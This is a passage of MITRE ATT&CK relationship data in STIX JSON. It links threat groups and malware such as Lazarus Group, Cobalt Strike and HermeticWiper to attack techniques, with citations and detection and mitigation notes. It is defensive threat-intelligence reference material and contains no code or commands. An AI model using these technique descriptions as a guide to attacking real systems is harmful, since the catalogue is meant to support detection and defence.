["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--411aae3a-f612-41bb-b2f0-1639d2cbc290", "created": "2019-04-12T16:59:08.010Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Novetta Blockbuster Destructive Malware", "url": "https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has stopped the MSExchangeIS service to render Exchange contents inaccessible to users.(Citation: Novetta Blockbuster Destructive Malware)", "modified": "2022-07-28T18:55:36.003Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--411e562d-73f7-44d4-800f-7da9746f02d6", "type": "relationship", "created": "2022-03-30T14:26:51.841Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.841Z", "description": "Monitor for unexpected deletion to a file (ex: Sysmon EID 23) ", "source_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--411ea36c-e237-4503-82f2-6e9d87a01380", "type": "relationship", "created": "2021-09-30T20:20:27.244Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Group IB Ransomware September 2020", "url": "https://groupib.pathfactory.com/ransomware-reports/prolock_wp", "description": "Group IB. (2020, September). LOCK LIKE  A PRO. Retrieved September 27, 2021."}], "modified": "2021-09-30T20:20:27.244Z", "description": "[ProLock](https://attack.mitre.org/software/S0654) can use WMIC to execute scripts on targeted hosts.(Citation: Group IB Ransomware September 2020)", "relationship_type": "uses", "source_ref": "malware--471d0e9f-2c8a-4e4b-8f3b-f85d2407806e", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4126e124-fb28-4274-a687-dc5344b34859", "created": "2023-02-08T00:12:20.603Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SentinelLabs Metador Sept 2022", "description": "Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.", "url": "https://assets.sentinelone.com/sentinellabs22/metador#page=1"}, {"source_name": "SentinelLabs Metador Technical Appendix Sept 2022", "description": "SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.", "url": "https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-05T15:02:46.296Z", "description": "[metaMain](https://attack.mitre.org/software/S1059) has stored the collected system files in a working directory.(Citation: SentinelLabs Metador Sept 2022)(Citation: SentinelLabs Metador Technical Appendix Sept 2022)", "relationship_type": "uses", "source_ref": "malware--df350889-4de9-44e5-8cb3-888b8343e97c", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--412a57f3-ce06-4790-8e3a-cb8c34b9e0f1", "type": "relationship", "created": "2020-11-06T18:40:38.090Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf", "description": "Cobalt Strike. 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Retrieved April 13, 2021."}], "modified": "2021-10-18T19:54:13.122Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can exploit vulnerabilities such as MS14-058.(Citation: Cobalt Strike TTPs Dec 2017)(Citation: Cobalt Strike Manual 4.3 November 2020)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--412b7fbf-bc21-4373-9f2c-5f0a26482536", "created": "2017-05-31T21:33:27.062Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SecureWorks BRONZE UNION June 2017", "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. 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Retrieved June 25, 2018.", "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T20:05:38.079Z", "description": "(Citation: Dell TG-3390)(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Nccgroup Emissary Panda May 2018)(Citation: Trend Micro DRBControl February 2020)(Citation: Profero APT27 December 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--412c7c8b-4821-4f08-a3d2-2da034f8343f", "type": "relationship", "created": "2019-01-31T00:36:40.962Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html", "source_name": "Talos Konni May 2017"}], "modified": "2019-07-26T18:47:18.860Z", "description": "[KONNI](https://attack.mitre.org/software/S0356) can collect the username from the victim\u2019s machine.(Citation: Talos Konni May 2017)", "relationship_type": "uses", "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4142c046-18da-4a55-8aad-84370121332d", "type": "relationship", "created": "2020-10-01T00:55:17.851Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-01T00:55:17.851Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0", "target_ref": "attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4142d0fd-6c96-417f-8725-17eabf444854", "type": "relationship", "created": "2021-08-23T19:38:33.572Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Hornet Security Avaddon June 2020", "url": "https://www.hornetsecurity.com/en/security-information/avaddon-from-seeking-affiliates-to-in-the-wild-in-2-days/", "description": "Security Lab. (2020, June 5). Avaddon: From seeking affiliates to in-the-wild in 2 days. Retrieved August 19, 2021."}, {"source_name": "Awake Security Avaddon", "url": "https://awakesecurity.com/blog/threat-hunting-for-avaddon-ransomware/", "description": "Gahlot, A. (n.d.). Threat Hunting for Avaddon Ransomware. Retrieved August 19, 2021."}], "modified": "2021-10-18T21:41:22.719Z", "description": "[Avaddon](https://attack.mitre.org/software/S0640) has been executed through a malicious JScript downloader.(Citation: Hornet Security Avaddon June 2020)(Citation: Awake Security Avaddon)", "relationship_type": "uses", "source_ref": "malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3", "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4143e83e-40a1-4d10-babf-9affba3cb101", "type": "relationship", "created": "2020-06-19T19:08:40.375Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Valak May 2020", "url": "https://www.cybereason.com/blog/valak-more-than-meets-the-eye", "description": "Salem, E. et al. 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Depending on individual configurations, defenders may need to query the environment variables <code>$XDG_CONFIG_HOME</code> or <code>$XDG_CONFIG_DIRS</code> to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline.", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--414a365a-e24b-44f2-8130-77435f2e18ef", "created": "2023-03-26T18:08:22.341Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "CISA ComRAT Oct 2020", "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020.", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a"}, {"source_name": "ESET ComRAT May 2020", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. 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(2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}], "modified": "2020-10-14T14:40:36.389Z", "description": "[Imminent Monitor](https://attack.mitre.org/software/S0434) has a module for performing remote desktop access.(Citation: QiAnXin APT-C-36 Feb2019)", "relationship_type": "uses", "source_ref": "tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9", "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4153632f-9ac5-4f8b-af83-b4b089ce5429", "created": "2023-06-29T18:08:54.117Z", "revoked": false, "external_references": [{"source_name": "Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023", "description": "FBI et al. (2023, May 9). Hunting Russian Intelligence \u201cSnake\u201d Malware. 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(2022, February 24). Ukraine: Disk-wiping Attacks Precede Russian Invasion. Retrieved March 25, 2022."}, {"source_name": "Crowdstrike DriveSlayer February 2022", "url": "https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/", "description": "Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022."}, {"source_name": "ESET Hermetic Wiper February 2022", "url": "https://www.welivesecurity.com/2022/02/24/hermeticwiper-new-data-wiping-malware-hits-ukraine", "description": "ESET. (2022, February 24). HermeticWiper: New data wiping malware hits Ukraine. Retrieved March 25, 2022."}, {"source_name": "Qualys Hermetic Wiper March 2022", "url": "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware", "description": "Dani, M. (2022, March 1). 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Retrieved March 25, 2022."}], "modified": "2022-03-25T21:34:45.677Z", "description": "The [HermeticWiper](https://attack.mitre.org/software/S0697) executable has been signed with a legitimate certificate issued to Hermetica Digital Ltd.(Citation: Symantec Ukraine Wipers February 2022)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: ESET Hermetic Wiper February 2022)(Citation: Qualys Hermetic Wiper March 2022)", "relationship_type": "uses", "source_ref": "malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a", "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--415fc129-cac9-4d8c-8285-8ea563489b03", "type": "relationship", "created": "2020-10-19T16:08:30.026Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-02-16T20:15:45.837Z", "description": "Restrict administrator accounts to as few individuals as possible, following least privilege principles.  Prevent credential overlap across systems of administrator and privileged accounts, particularly between network and non-network platforms, such as servers or endpoints.", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4163071e-ec77-4cb5-a796-ca235636cd2b", "type": "relationship", "created": "2022-03-30T14:26:51.856Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.856Z", "description": "Monitor for changes made to scheduled jobs for unexpected modifications to execution launch", "source_ref": "x-mitre-data-component--faa34cf6-cf32-4dc9-bd6a-8f7a606ff65b", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--41634cea-6236-4013-bda3-345bcba4f40f", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/", "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", "source_name": "McAfee Gold Dragon"}], "modified": "2020-04-21T23:09:31.336Z", "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) collects the endpoint victim's username and uses it as a basis for downloading additional components from the C2 server.(Citation: McAfee Gold Dragon)", "relationship_type": "uses", "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--416447f0-410b-46d6-a4f8-e67ba3c9052f", "created": "2019-06-05T17:31:22.421Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TrendMicro Ursnif Mar 2015", "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.", "url": "https://web.archive.org/web/20210719165945/https://www.trendmicro.com/en_us/research/15/c/ursnif-the-multifaceted-malware.html?_ga=2.165628854.808042651.1508120821-744063452.1505819992"}, {"source_name": "TrendMicro BKDR_URSNIF.SM", "description": "Sioting, S. (2013, June 15). BKDR_URSNIF.SM. Retrieved June 5, 2019.", "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/BKDR_URSNIF.SM?_ga=2.129468940.1462021705.1559742358-1202584019.1549394279"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-10T15:11:54.891Z", "description": "[Ursnif](https://attack.mitre.org/software/S0386) has gathered information about running processes.(Citation: TrendMicro Ursnif Mar 2015)(Citation: TrendMicro BKDR_URSNIF.SM)", "relationship_type": "uses", "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--41664428-398a-4b71-9418-b1bd1e4cefc4", "created": "2022-08-02T17:51:17.362Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "CISA AR18-352A Quasar RAT December 2018", "url": "https://www.cisa.gov/uscert/ncas/analysis-reports/AR18-352A", "description": "CISA. (2018, December 18). Analysis Report (AR18-352A) Quasar Open-Source Remote Administration Tool. Retrieved August 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) can hide process windows and make web requests invisible to the compromised user. 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(2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}], "modified": "2020-05-29T13:31:07.840Z", "description": "[USBferry](https://attack.mitre.org/software/S0452) can detect the victim's file or folder list.(Citation: TrendMicro Tropic Trooper May 2020)\t", "relationship_type": "uses", "source_ref": "malware--75bba379-4ba1-467e-8c60-ec2b269ee984", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--416d0e7e-ff7a-4cd0-9e2e-7cbb22f4cce8", "created": "2022-03-30T14:26:51.842Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor executed commands and arguments for actions that could be taken to collect files from a system's connected removable media. For example, data may be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.", "modified": "2022-04-14T12:59:33.371Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--416fd781-438e-4130-bfac-8ac653e85c2c", "type": "relationship", "created": "2021-10-14T22:21:20.893Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Taidoor", "description": "Trend Micro. (2012). The Taidoor Campaign. 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Retrieved November 25, 2020."}], "modified": "2020-11-25T21:00:55.971Z", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has crafted phishing emails containing malicious hyperlinks.(Citation: US District Court Indictment GRU Unit 74455 October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--41747c46-1dd1-418b-84e9-75710f17a10c", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT17", "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). 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Retrieved September 21, 2018.", "source_name": "jRAT Symantec Aug 2018"}], "modified": "2019-06-24T17:20:24.331Z", "description": "[jRAT](https://attack.mitre.org/software/S0283) has a function to delete files from the victim\u2019s machine.(Citation: jRAT Symantec Aug 2018)", "relationship_type": "uses", "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--41760330-2558-4781-bc4e-1e4c7a1f5f92", "type": "relationship", "created": "2022-02-10T16:42:30.474Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET T3 Threat Report 2021", "url": "https://www.welivesecurity.com/wp-content/uploads/2022/02/eset_threat_report_t32021.pdf", "description": "ESET. (2022, February). THREAT REPORT T3 2021. Retrieved February 10, 2022."}], "modified": "2022-02-10T16:42:30.474Z", "description": "(Citation: ESET T3 Threat Report 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "tool--066b057c-944e-4cfc-b654-e3dfba04b926", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--417912a3-95a8-4dd4-a586-88cca62f3ebc", "type": "relationship", "created": "2020-05-28T16:38:03.767Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Eset Ramsay May 2020", "url": "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020."}], "modified": "2020-06-12T16:15:05.094Z", "description": "[Ramsay](https://attack.mitre.org/software/S0458) can schedule tasks via the Windows COM API to maintain persistence.(Citation: Eset Ramsay May 2020)\t", "relationship_type": "uses", "source_ref": "malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4180422b-a478-4ceb-ac8c-6fe86c85399c", "type": "relationship", "created": "2020-03-13T21:13:10.630Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-13T21:13:10.630Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4183341a-f5ed-4914-9dc5-0eb7c1d6c4e6", "type": "relationship", "created": "2020-11-06T18:40:38.193Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf", "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", "source_name": "cobaltstrike manual"}, {"source_name": "Amnesty Intl. Ocean Lotus February 2021", "url": "https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf", "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."}, {"source_name": "Cobalt Strike Manual 4.3 November 2020", "url": "https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf", "description": "Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}], "modified": "2021-10-18T20:06:39.560Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154)'s Beacon payload is capable of capturing screenshots.(Citation: cobaltstrike manual)(Citation: Amnesty Intl. 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(2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016."}, {"source_name": "Novetta Blockbuster", "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia obtains and sends to its C2 server information about the first network interface card\u2019s configuration, including IP address, gateways, subnet mask, DHCP information, and whether WINS is available.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)", "modified": "2022-07-28T18:47:11.982Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--418bde38-35eb-44bc-a454-ad7d2918bda5", "type": "relationship", "created": "2019-06-21T15:19:09.796Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-02-17T15:38:54.799Z", "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.", "relationship_type": "mitigates", "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--419392f5-e6a8-4eee-b7c2-f0bac5cce833", "created": "2018-10-17T00:14:20.652Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "MalwareBytes LazyScripter Feb 2021", "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf", "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}, {"source_name": "Github Koadic", "url": "https://github.com/zerosum0x0/koadic", "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Koadic](https://attack.mitre.org/software/S0250) can download additional files and tools.(Citation: Github Koadic)(Citation: MalwareBytes LazyScripter Feb 2021)", "modified": "2022-04-06T19:39:45.963Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--419b786c-a7db-4357-918c-aa1b883203ee", "type": "relationship", "created": "2020-06-10T19:31:48.076Z", 